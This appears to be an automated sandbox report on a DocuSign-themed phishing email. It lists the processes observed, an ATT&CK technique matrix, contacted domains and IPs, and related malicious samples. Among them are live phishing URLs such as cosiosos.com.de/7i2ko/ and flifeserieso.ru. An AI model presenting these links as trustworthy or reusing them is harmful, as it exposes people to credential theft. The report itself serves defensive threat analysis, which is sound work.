Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Registry Run Keys / Startup Folder	1 Modify Registry	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	1 Process Injection	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 DLL Side-Loading	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner	Label
https://fontawesome.com/license/free	0%	URL Reputation	safe
https://fontawesome.com	0%	URL Reputation	safe
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css	0%	URL Reputation	safe
https://getbootstrap.com/)	0%	URL Reputation	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	0%	URL Reputation	safe

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	unknown
cdn.optimizely.com	104.18.66.57	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
cosiosos.com.de	104.21.28.165	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
challenges.cloudflare.com	104.18.95.41	true	false	unknown
www.google.com	142.250.186.164	true	false	unknown
api.mixpanel.com	107.178.240.159	true	false	unknown
flifeserieso.ru	104.21.17.93	true	false	unknown
arya-1323461286.us-west-2.elb.amazonaws.com	52.42.45.237	true	false	unknown
cdn.jsdelivr.net	unknown	unknown	false	unknown
na4.docusign.net	unknown	unknown	false	unknown
a.docusign.com	unknown	unknown	false	unknown
docucdn-a.akamaihd.net	unknown	unknown	false	unknown

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8daca25f6a033ab9&lang=auto	false		unknown
https://flifeserieso.ru//	false		unknown
https://cosiosos.com.de/7i2ko/	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8daca25f6a033ab9/1730304197174/07f7aaa5969baaa40a857825e8b1c2599f2cd729566798306c53c51f8a6113d5/JiPuQio3d7laoB9	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/webfonts/fa-brands-400.woff2	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css	false	URL Reputation: safe	unknown
https://na4.docusign.net/Signing/?ti=049c81426da24951a14c1de4df20f331	false		unknown
https://challenges.cloudflare.com/turnstile/v0/g/f2bbd6738e15/api.js	false		unknown
https://a.docusign.com/ds_arya_wrapper.min.js?f=1	false		unknown
https://cosiosos.com.de/favicon.ico	false		unknown
https://challenges.cloudflare.com/turnstile/v0/api.js	false		unknown
https://a.nel.cloudflare.com/report/v4?s=MkouCdERZZpiD%2BMpUTd8csWNNyAd86pTJGInWpclFvct9PdKN1S%2BK2movndx3HcgVBLuHQRPbs8aASb%2FBI%2FV9gQFG1zUzCBRrIF%2Fb7x46b84YJeSvvA7trghEacm36LMtaM%3D	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/lgrcx/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1949912508:1730302839:6E6Pv0gXY2yq3TxC6jtiBY6FhM93W7pcTOciG49SbVM/8daca25f6a033ab9/mSxS4QLFfX1KduKA8IVUdCMT6yk3.DZUtG8sRCXn800-1730304194-1.1.1.1-tLrtY0KPfLrVeUbAZQo5IZkOR0jvrGXSYd7PP0lxxogrjtFGGvybnkXgMlSUe35b	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/webfonts/fa-solid-900.woff2	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		unknown
https://cdn.optimizely.com/datafiles/MUGKFLCdCtxUSgrSTyhbw.json	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false	URL Reputation: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8daca25f6a033ab9/1730304197167/gRrNLvrrXazQrWD	false		unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://docucdn-a.akamaihd.net/olive/images/2.62.0/global-assets/email-templates/email-logo.png	~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	false		unknown
https://x.com/flifeserieso.ru	chromecache_272.6.dr	false		unknown
https://cdn.jsdelivr.net/npm/bootstrap	chromecache_272.6.dr	false		unknown
http://schema.org/Crea=	Complete with Docusign_ Remittance Advice .pdf(1).eml	false		unknown
https://support.docusign.com/	Complete with Docusign_ Remittance Advice .pdf(1).eml, ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	false		unknown
https://gist.github.com/1930440	chromecache_208.6.dr, chromecache_186.6.dr	false		unknown
https://github.com/zloirock/core-js	chromecache_227.6.dr, chromecache_291.6.dr, chromecache_202.6.dr, chromecache_177.6.dr	false		unknown
https://flifeserieso.ru//#inventory	chromecache_272.6.dr	false		unknown
https://protect.docusign.net/report-abuse?e=AUtomjpFak9GlbPL0zFFi11nvPvhNN9U5-awyJ6YeimgW9YnY_hFeh5O	~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	false		unknown
https://login.windows.localnull	OUTLOOK_16_0_16827_20130-20241030T1202110016-4212.etl.0.dr	false		unknown
https://wdk-agent-2.docusigntest.com/#Signing/Controllers/MonitoringController.cs	chromecache_225.6.dr	false		unknown
https://linkedin.com/in/flifeserieso.ru	chromecache_272.6.dr	false		unknown
https://flifeserieso.ru//#services	chromecache_272.6.dr	false		unknown
https://fontawesome.com/license/free	chromecache_312.6.dr	false	URL Reputation: safe	unknown
https://support.docusign.com/s/articles/How-do-I-sign-a-DocuSign-document-Basic-Signing?language=en_	~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	false		unknown
https://fontawesome.com	chromecache_312.6.dr	false	URL Reputation: safe	unknown
https://community.docusign.com/esignature-111?utm_campaign=GBL_US_PRD_AWA_2405_CommunityCTA&utm_medi	~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	false		unknown
http://documentcloud.github.com/underscore/	chromecache_208.6.dr, chromecache_186.6.dr	false		unknown
https://docucdn-a.akam=	Complete with Docusign_ Remittance Advice .pdf(1).eml	false		unknown
https://na4.docusign.ne=	Complete with Docusign_ Remittance Advice .pdf(1).eml	false		unknown
https://docucdn-a.akamaihd.net/production/1ds/widgets/	chromecache_225.6.dr	false		unknown
https://community.docusign.com/esignature-111?utm_campaign=3DGBL_US_PR=	Complete with Docusign_ Remittance Advice .pdf(1).eml	false		unknown
https://protect.docusign.net/report-abuse?e=3DAUtomjpFak=	Complete with Docusign_ Remittance Advice .pdf(1).eml	false		unknown
http://dbj.org/dbj/?p=286	chromecache_208.6.dr, chromecache_186.6.dr	false		unknown
https://flifeserieso.ru//#contact	chromecache_272.6.dr	false		unknown
https://support.docusign.com/en/articles/How-do-I-manage-my-email-notifications	~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	false		unknown
https://NA4.docusign.net	chromecache_225.6.dr	false		unknown
https://www.docusign.com/features-and-benefits/mobile?utm_campaign=GBL_XX_DBU_UPS_2211_SignNotificat	~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	false		unknown
https://support.docusign.com/en/guides/Declining-to-sign-DocuSign-Signer-Guide	~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	false		unknown
https://login.windows.localR	OUTLOOK_16_0_16827_20130-20241030T1202110016-4212.etl.0.dr	false		unknown
https://NA4.docusign.net/member/Images/email/docInvite-white.png	~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	false		unknown
https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#withCredentials	chromecache_208.6.dr, chromecache_186.6.dr	false		unknown
https://github.com/douglascrockford/JSON-js/blob/master/json_parse.js	chromecache_208.6.dr, chromecache_186.6.dr	false		unknown
https://na4.docusign.net/Signing/EmailStart.aspx?a=1a10f8a2-bc91-4de8-87d6-62c09adfe371&etti=24&acct	~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	true		unknown
https://github.com/twbs/bootstrap/blob/main/LICENSE)	chromecache_181.6.dr	false		unknown
https://support.docusign.com/en/articles/How-do-I-manage-my-email-notifica=	Complete with Docusign_ Remittance Advice .pdf(1).eml	false		unknown
https://support.docusign.com/en/guides/Declining-to-sign-DocuSign-=	Complete with Docusign_ Remittance Advice .pdf(1).eml	false		unknown
https://getbootstrap.com/)	chromecache_181.6.dr	false	URL Reputation: safe	unknown
http://schema.org/EmailMessage	Complete with Docusign_ Remittance Advice .pdf(1).eml	true		unknown
http://dean.edwards.name/weblog/2005/10/add-event/	chromecache_208.6.dr, chromecache_186.6.dr	false		unknown
http://www.ecma-international.org/ecma-262/5.1/#sec-12.4	chromecache_208.6.dr, chromecache_186.6.dr	false		unknown
https://instagram.com/flifeserieso.ru	chromecache_272.6.dr	false		unknown
https://docucdn-a.akamaihd.net/olive/images/=	Complete with Docusign_ Remittance Advice .pdf(1).eml	false		unknown
https://support.docusign.com/s=	Complete with Docusign_ Remittance Advice .pdf(1).eml	false		unknown
http://hacks.mozilla.org/2009/07/cross-site-xmlhttprequest-with-cors/	chromecache_208.6.dr, chromecache_186.6.dr	false		unknown
https://apps.docusign.com/cdn/production/1ds/widgets/	chromecache_225.6.dr	false		unknown
https://github.com/zloirock/core-js/blob/v3.30.2/LICENSE	chromecache_227.6.dr, chromecache_291.6.dr, chromecache_202.6.dr, chromecache_177.6.dr	false		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.66.57	cdn.optimizely.com	United States	13335	CLOUDFLARENETUS	false
104.21.28.165	cosiosos.com.de	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
44.239.225.250	unknown	United States	16509	AMAZON-02US	false
107.178.240.159	api.mixpanel.com	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.65.57	unknown	United States	13335	CLOUDFLARENETUS	false
52.42.45.237	arya-1323461286.us-west-2.elb.amazonaws.com	United States	16509	AMAZON-02US	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
35.190.25.25	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
104.21.17.93	flifeserieso.ru	United States	13335	CLOUDFLARENETUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545547
Start date and time:	2024-10-30 17:01:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Complete with Docusign_ Remittance Advice .pdf(1).eml
Detection:	MAL
Classification:	mal68.phis.winEML@20/248@46/15
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .eml

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
104.18.66.57	https://dartergary.wordpress.com/	Get hash	malicious	HTMLPhisher	Browse
	https://8i.eryonficket.com/g60ff/#aGVzc2dyb3VwaW52QGhlc3MuY29t	Get hash	malicious	Unknown	Browse
	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Ffairwaygilbert.com%2Fnew%2FdtMyxOyre1WJ8xvj5DnN7kDa/Y2hyaXMuaGF3a2luc0BwZXJyeWhvbWVzLmNvbQ==	Get hash	malicious	Tycoon2FA	Browse
	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Fwe4uproducts.com/cbb/lld/jjg/5BVvnI7cfJ4HfuhWZvVda7dK/am9yZGFuLmJsYWNrQGxlYXJmaWVsZC5jb20=	Get hash	malicious	Unknown	Browse
	EXTERNALRoger Moczygemba shared DIRECT MED CLINIC - CONFIDENTIAL with you.msg	Get hash	malicious	Unknown	Browse
	https://na2.docusign.net/Signing/EmailStart.aspx?a=c6104538-ac3b-4407-b24b-a0b641ee4589&etti=24&acct=7853161b-6814-4528-85bc-ffe96cfca42f&er=09ab18a7-8de5-4c92-931d-cb9cd9f7b00d	Get hash	malicious	Unknown	Browse
	ATT25322.html	Get hash	malicious	Unknown	Browse
	https://talentrecruting.com/?Y3w2MDkxNzZ8d190cmF1MTEwRHx8fA0KfHxicnlhbi50LmJlYmJAc2FpYy5jb20=	Get hash	malicious	Unknown	Browse
	http://docusign.net	Get hash	malicious	Unknown	Browse
	https://na4.docusign.net/Signing/EmailStart.aspx?a=9566a7d5-84da-4cec-bac4-a41515e7dff8&etti=24&acct=e7f3e748-8206-4510-8315-0e64f8c91c9b&er=178b86a5-d36b-40e1-a378-9dea4b3e4e9d	Get hash	malicious	HTMLPhisher	Browse
104.21.28.165	FW Complete with Docusign Remittance Advice .pdf.eml	Get hash	malicious	HTMLPhisher	Browse
104.18.94.41	https://cosiosos.com.de/7i2ko/	Get hash	malicious	HTMLPhisher	Browse
	https://myworkspacec1d73.myclickfunnels.com/onlinereview--9cb35?preview=true	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	https://zastromts.za.com/v3oX/#E	Get hash	malicious	HTMLPhisher	Browse
	Receipt.htm	Get hash	malicious	Unknown	Browse
	https://cruparcellaire-my.sharepoint.com/:u:/g/personal/dani_grandrcu_com/EffQlMxf6g9Hiljl1DzmuTcB4-lo0t9ejs2hIBwCnQfe1g?e=TtenDj	Get hash	malicious	Unknown	Browse
	http://wesiakkaernten.fibery.io/@public/forms/gBNXdAWE	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	http://wesiakkaernten.fibery.io/@public/forms/gBNXdAWE	Get hash	malicious	Unknown	Browse
	401K .pdf	Get hash	malicious	HTMLPhisher	Browse
	https://railrent-railrent.powerappsportals.com/	Get hash	malicious	Unknown	Browse
	http://etf-remittance-payout.s3.us-east-1.amazonaws.com/DMwNjk0MTU2LWI2MTItNDg5My04YmZhLWNhMzBjZTMzO/jZTMzODU5NwBGAAAAAAA/doc.html	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://cosiosos.com.de/7i2ko/	Get hash	malicious	HTMLPhisher	Browse	172.67.175.107
	https://myworkspacec1d73.myclickfunnels.com/onlinereview--9cb35?preview=true	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.25.14
	SecuriteInfo.com.Win32.PWSX-gen.31738.17793.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://zastromts.za.com/v3oX/#E	Get hash	malicious	HTMLPhisher	Browse	104.21.11.102
	Receipt.htm	Get hash	malicious	Unknown	Browse	104.17.25.14
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	104.18.91.62
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	104.18.90.62
AMAZON-02US	Receipt.htm	Get hash	malicious	Unknown	Browse	18.245.86.57
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	52.216.77.118
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	https://token.onelogin.com-token-auth.com/XaFNXZmZxdFUzWDFPWVFxY2lia3BpYkY4UHdlcTNmZStWYjZidGFaMXFldkJJUk9VdmZTZVQxRk5QbVBlVFlJNGttbUlHcmViUysvaGcrWmRnbmwxLzZ6c0MrRWdVcEg1bHZtYnc4c2czNVlSUlhtdnRPc0gwWS9mZ3R4QTltZUZjdWZRZ1kvZmk0N2huS054TUFZUHJyNk4rNHcrNElWbjI0NWlrN2puRlNtYkx0ZzVhWExWcmpZbmt3PT0tLTFCMXhxTFNKS2ZOU3lIZTItLWtCRWhkMzBFQWZwNE0yN1QwM3BCT1E9PQ==?cid=2262276963	Get hash	malicious	KnowBe4	Browse	52.216.218.136
	https://token.onelogin.com-token-auth.com/Xa0Y1MmVibVhmY0E5dnlabzhVK2w2MVo4bXZUM3RzTFBZU1FSUEYxRHlzb29tODRTUDQ4alBDR3Y1cWUvN1JvVzhtWGVkaHFaSG0rOVpUTVV1VjY2a3MvZDB6TktwTHhsRk9xdzQwQjV6YjIvcnA5MjFsaFJEamtNdXI5UXQ1Qm9lK0ZsZFd0TXI0R2JWWlVYeFFXa2pBaXZOKzR2QXRkUTd3dlBLNzUrQ1RweERVMmQ5ZHQwdjlKZ2dlS2tEVUF5UEE9PS0tdFFWWndQdklZQXNodTY1US0tUXAyU1llVHhDaXRTRjU1OVNWMXFNdz09?cid=2262276963	Get hash	malicious	KnowBe4	Browse	54.231.236.168
	https://www.guidedtrack.com/programs/n5snx1a/run	Get hash	malicious	Unknown	Browse	52.222.236.122
	https://1rkzzyapew.beefreedesign.com/EfTl-assets-eurmktdynamics	Get hash	malicious	Unknown	Browse	13.32.121.40
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	SecuriteInfo.com.Win32.SuspectCrc.28663.30359.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	https://www.google.im/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s/cristorei.neemo.com.br/yaya/aALPghQuwJ38KMxdobOJdzxm/YW50b25lbGxhLmNvc3RhQGVzYS5pbnQ=	Get hash	malicious	Tycoon2FA	Browse	13.33.187.60
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://cosiosos.com.de/7i2ko/	Get hash	malicious	HTMLPhisher	Browse	172.67.175.107
	https://myworkspacec1d73.myclickfunnels.com/onlinereview--9cb35?preview=true	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.25.14
	SecuriteInfo.com.Win32.PWSX-gen.31738.17793.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://zastromts.za.com/v3oX/#E	Get hash	malicious	HTMLPhisher	Browse	104.21.11.102
	Receipt.htm	Get hash	malicious	Unknown	Browse	104.17.25.14
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	104.18.91.62
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	104.18.90.62
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://cosiosos.com.de/7i2ko/	Get hash	malicious	HTMLPhisher	Browse	172.67.175.107
	https://myworkspacec1d73.myclickfunnels.com/onlinereview--9cb35?preview=true	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.25.14
	SecuriteInfo.com.Win32.PWSX-gen.31738.17793.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://zastromts.za.com/v3oX/#E	Get hash	malicious	HTMLPhisher	Browse	104.21.11.102
	Receipt.htm	Get hash	malicious	Unknown	Browse	104.17.25.14
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	104.18.91.62
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	104.18.90.62

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://cosiosos.com.de/7i2ko/	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 2.19.244.127 20.190.159.71
	https://myworkspacec1d73.myclickfunnels.com/onlinereview--9cb35?preview=true	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	52.149.20.212 2.19.244.127 20.190.159.71
	https://zastromts.za.com/v3oX/#E	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 2.19.244.127 20.190.159.71
	http://ffcu.online	Get hash	malicious	Unknown	Browse	52.149.20.212 2.19.244.127 20.190.159.71
	Receipt.htm	Get hash	malicious	Unknown	Browse	52.149.20.212 2.19.244.127 20.190.159.71
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	52.149.20.212 2.19.244.127 20.190.159.71
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.149.20.212 2.19.244.127 20.190.159.71
	https://token.onelogin.com-token-auth.com/XaFNXZmZxdFUzWDFPWVFxY2lia3BpYkY4UHdlcTNmZStWYjZidGFaMXFldkJJUk9VdmZTZVQxRk5QbVBlVFlJNGttbUlHcmViUysvaGcrWmRnbmwxLzZ6c0MrRWdVcEg1bHZtYnc4c2czNVlSUlhtdnRPc0gwWS9mZ3R4QTltZUZjdWZRZ1kvZmk0N2huS054TUFZUHJyNk4rNHcrNElWbjI0NWlrN2puRlNtYkx0ZzVhWExWcmpZbmt3PT0tLTFCMXhxTFNKS2ZOU3lIZTItLWtCRWhkMzBFQWZwNE0yN1QwM3BCT1E9PQ==?cid=2262276963	Get hash	malicious	KnowBe4	Browse	52.149.20.212 2.19.244.127 20.190.159.71
	https://token.onelogin.com-token-auth.com/Xa0Y1MmVibVhmY0E5dnlabzhVK2w2MVo4bXZUM3RzTFBZU1FSUEYxRHlzb29tODRTUDQ4alBDR3Y1cWUvN1JvVzhtWGVkaHFaSG0rOVpUTVV1VjY2a3MvZDB6TktwTHhsRk9xdzQwQjV6YjIvcnA5MjFsaFJEamtNdXI5UXQ1Qm9lK0ZsZFd0TXI0R2JWWlVYeFFXa2pBaXZOKzR2QXRkUTd3dlBLNzUrQ1RweERVMmQ5ZHQwdjlKZ2dlS2tEVUF5UEE9PS0tdFFWWndQdklZQXNodTY1US0tUXAyU1llVHhDaXRTRjU1OVNWMXFNdz09?cid=2262276963	Get hash	malicious	KnowBe4	Browse	52.149.20.212 2.19.244.127 20.190.159.71
	Review_&_Aprove_Your_Next_Payroll84633.html	Get hash	malicious	Unknown	Browse	52.149.20.212 2.19.244.127 20.190.159.71

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	338
Entropy (8bit):	3.4691103992589016
Encrypted:	false
SSDEEP:	6:kKI8DBlEJFN+SkQlPlEGYRMY9z+s3Ql2DUevat:Q8kPlE99SCQl2DUevat
MD5:	1AFBA3EABE19FAA082A492D1635CF41D
SHA1:	E6445FC75AD30B7E6DA9BF03899CEE689CFD97FC
SHA-256:	F4199D70B7EE81261F74C386BB66BE3A6A11E4B2D7B6C4C564CC1583CF23DD12
SHA-512:	3EFC5EDE56DD42E9F37875FB394F47B2DFC3CEF1FD47BB37BA2043D4B9316513258BFE77AD66A13A00556476CB87D46D326147BABE66AAC43922D71B388F6089
Malicious:	false
Reputation:	low
Preview:	p...... ........G....*..(..................................................^SZ.. .........p.........$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".7.4.6.7.8.7.a.3.f.0.d.9.1.:.0."...

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 15:02:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9873252349548007
Encrypted:	false
SSDEEP:	48:8XdfTbL7MHAeidAKZdA1FehwiZUklqehly+3:89fvpM+y
MD5:	1B0EC3F5E84E62730402823B0C50F782
SHA1:	8EAEA75FA722C04CA2E22D38F09A3A25A38AE247
SHA-256:	98B8E29C59ED92A20501771BCD49556410A2CEDB513268C9F26620B0709F9D6C
SHA-512:	022D73B81BEA622291F4BB60CF15489B0BBEE53464A2E2F266652004993E3F914A5A7100A592DF7969386A4A6EA6A0F890167272CB53B4C04DFBB4244ED147B9
Malicious:	false
